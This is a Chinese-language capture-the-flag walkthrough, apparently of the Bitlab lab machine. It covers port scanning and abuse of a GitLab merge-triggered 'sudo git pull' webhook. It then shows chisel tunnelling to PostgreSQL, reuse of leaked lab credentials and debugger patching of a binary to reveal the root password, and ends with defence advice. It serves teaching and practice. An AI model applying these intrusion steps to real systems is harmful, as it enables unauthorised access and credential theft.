[Meachines] [Medium] Bitlab 标签自动填充登录+GitLab+Docker横向+Postgresql+逆向工程
字数 1566 2025-08-19 12:41:20

GitLab 安全渗透测试实战教学文档

1. 信息收集阶段

1.1 初始扫描

目标IP: 10.10.10.114

使用Nmap进行端口扫描:

nmap -p- 10.10.10.114 --min-rate 1000 -sC -sV

扫描结果:

  • 22/tcp: OpenSSH 7.6p1 Ubuntu
  • 80/tcp: nginx (GitLab Community Edition)

1.2 Web目录扫描

使用feroxbuster进行目录扫描:

feroxbuster --url http://10.10.10.114

发现关键页面:

  • /users/sign_in: GitLab登录页面
  • /help/bookmarks.html: 包含自动填充功能的书签页面

2. 漏洞利用阶段

2.1 自动填充漏洞利用

/help/bookmarks.html页面发现:

  • 点击书签后,登录表单会被自动填充
  • 这可能是XSS或存储型漏洞的利用点

2.2 GitLab Webhook自动化部署漏洞

发现自动化部署脚本index.php

<?php 
$input = file_get_contents("php://input");
$payload = json_decode($input);
$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
    echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}
echo "OK\n";

漏洞分析

  1. 当名为"Profile"的项目有合并请求被合并到master分支时
  2. 系统会自动执行sudo git pull命令
  3. 这意味着恶意代码可以被自动部署到服务器

2.3 利用步骤

  1. 访问http://10.10.10.114/profile/
  2. 创建新分支并提交恶意代码
  3. 创建合并请求并将其合并到master分支
  4. 触发自动化部署流程

3. 横向移动阶段

3.1 内部网络探测

获取shell后,检查内部网络:

ip neigh
nmap 172.19.0.2-5 --min-rate 1000 -sC -sV -open

发现内部服务:

  • 172.19.0.2: nginx (GitLab)
  • 172.19.0.4: PostgreSQL 9.6.0+
  • 172.19.0.5:
    • OpenSSH 7.2p2
    • nginx (GitLab)
    • 8181端口(可能是反向代理)

3.2 数据库访问

  1. 建立隧道访问PostgreSQL:
# 攻击机
chisel server -p 10000 --reverse

# 目标机
./chisel client 10.10.16.24:10000 R:5432:localhost:5432
  1. http://10.10.10.114/dashboard/snippets找到凭据:

    • username: profiles
    • password: profiles
  2. 连接数据库:

psql -h 127.0.0.1 -p 5432 -U profiles
  1. 数据库操作:
\list  # 列出数据库
\dt    # 列出表

发现新凭据:

  • username: clave
  • password: c3NoLXN0cjBuZy1wQHNz== (base64解码后为"ssh-str0ng-p@ss")

3.3 SSH访问

使用获取的凭据连接SSH:

ssh clave@10.10.10.114

获取user flag:

17c8588ec3bd9790f0ae64ea8ad71d79

4. 权限提升阶段

4.1 逆向工程分析

  1. 从目标系统下载可疑文件:
scp clave@10.10.10.114:~/RemoteConnection.exe .
  1. 使用调试器分析:

    • 关键函数调用:call dword ptr ds:[<shell32.ShellExecuteW>]
    • 发现用户名比较逻辑:
      00F51640 | 817D 98 D831F500 | cmp dword ptr ss:[ebp-68],remoteconnect | F531D8:L"clave"
      
    • 需要绕过此检查才能执行ShellExecute函数
  2. 调试技巧:

    • 使用x32gdb进行动态调试
    • 在比较指令处设置断点
    • 修改条件跳转或NOP掉比较过程

4.2 获取root密码

成功绕过检查后:

  • 在堆栈中可以找到root用户的密码
  • 使用密码切换为root:
    su root
    

获取root flag:

8bd53c50dabbc99ea10a2803fba16481

5. 总结与防护建议

5.1 漏洞总结

  1. 自动填充漏洞:可能导致凭据泄露
  2. 不安全的Webhook实现:允许任意代码执行
  3. 硬编码凭据:数据库和SSH凭据泄露
  4. 不安全的二进制文件:包含敏感信息且可绕过验证

5.2 防护建议

  1. Web应用安全

    • 禁用自动填充功能
    • 实现CSRF保护
    • 对用户输入进行严格验证
  2. 自动化部署

    • 限制Webhook的执行权限
    • 实现代码审查机制
    • 使用签名验证部署请求
  3. 凭据管理

    • 避免硬编码凭据
    • 使用密钥管理系统
    • 定期轮换凭据
  4. 二进制安全

    • 移除调试信息
    • 实现强验证机制
    • 避免在二进制中存储敏感信息
  5. 网络隔离

    • 实施适当的网络分段
    • 限制内部服务访问
    • 监控异常连接

通过本案例的学习,可以深入了解从信息收集到权限提升的完整渗透测试流程,以及如何防护此类攻击。

GitLab 安全渗透测试实战教学文档 1. 信息收集阶段 1.1 初始扫描 目标IP: 10.10.10.114 使用Nmap进行端口扫描: 扫描结果: 22/tcp : OpenSSH 7.6p1 Ubuntu 80/tcp : nginx (GitLab Community Edition) 1.2 Web目录扫描 使用feroxbuster进行目录扫描: 发现关键页面: /users/sign_in : GitLab登录页面 /help/bookmarks.html : 包含自动填充功能的书签页面 2. 漏洞利用阶段 2.1 自动填充漏洞利用 在 /help/bookmarks.html 页面发现: 点击书签后,登录表单会被自动填充 这可能是XSS或存储型漏洞的利用点 2.2 GitLab Webhook自动化部署漏洞 发现自动化部署脚本 index.php : 漏洞分析 : 当名为"Profile"的项目有合并请求被合并到master分支时 系统会自动执行 sudo git pull 命令 这意味着恶意代码可以被自动部署到服务器 2.3 利用步骤 访问 http://10.10.10.114/profile/ 创建新分支并提交恶意代码 创建合并请求并将其合并到master分支 触发自动化部署流程 3. 横向移动阶段 3.1 内部网络探测 获取shell后,检查内部网络: 发现内部服务: 172.19.0.2 : nginx (GitLab) 172.19.0.4 : PostgreSQL 9.6.0+ 172.19.0.5 : OpenSSH 7.2p2 nginx (GitLab) 8181端口(可能是反向代理) 3.2 数据库访问 建立隧道访问PostgreSQL: 在 http://10.10.10.114/dashboard/snippets 找到凭据: username: profiles password: profiles 连接数据库: 数据库操作: 发现新凭据: username: clave password: c3NoLXN0cjBuZy1wQHNz== (base64解码后为"ssh-str0ng-p@ss") 3.3 SSH访问 使用获取的凭据连接SSH: 获取user flag: 4. 权限提升阶段 4.1 逆向工程分析 从目标系统下载可疑文件: 使用调试器分析: 关键函数调用: call dword ptr ds:[<shell32.ShellExecuteW>] 发现用户名比较逻辑: 需要绕过此检查才能执行ShellExecute函数 调试技巧: 使用x32gdb进行动态调试 在比较指令处设置断点 修改条件跳转或NOP掉比较过程 4.2 获取root密码 成功绕过检查后: 在堆栈中可以找到root用户的密码 使用密码切换为root: 获取root flag: 5. 总结与防护建议 5.1 漏洞总结 自动填充漏洞 :可能导致凭据泄露 不安全的Webhook实现 :允许任意代码执行 硬编码凭据 :数据库和SSH凭据泄露 不安全的二进制文件 :包含敏感信息且可绕过验证 5.2 防护建议 Web应用安全 : 禁用自动填充功能 实现CSRF保护 对用户输入进行严格验证 自动化部署 : 限制Webhook的执行权限 实现代码审查机制 使用签名验证部署请求 凭据管理 : 避免硬编码凭据 使用密钥管理系统 定期轮换凭据 二进制安全 : 移除调试信息 实现强验证机制 避免在二进制中存储敏感信息 网络隔离 : 实施适当的网络分段 限制内部服务访问 监控异常连接 通过本案例的学习,可以深入了解从信息收集到权限提升的完整渗透测试流程,以及如何防护此类攻击。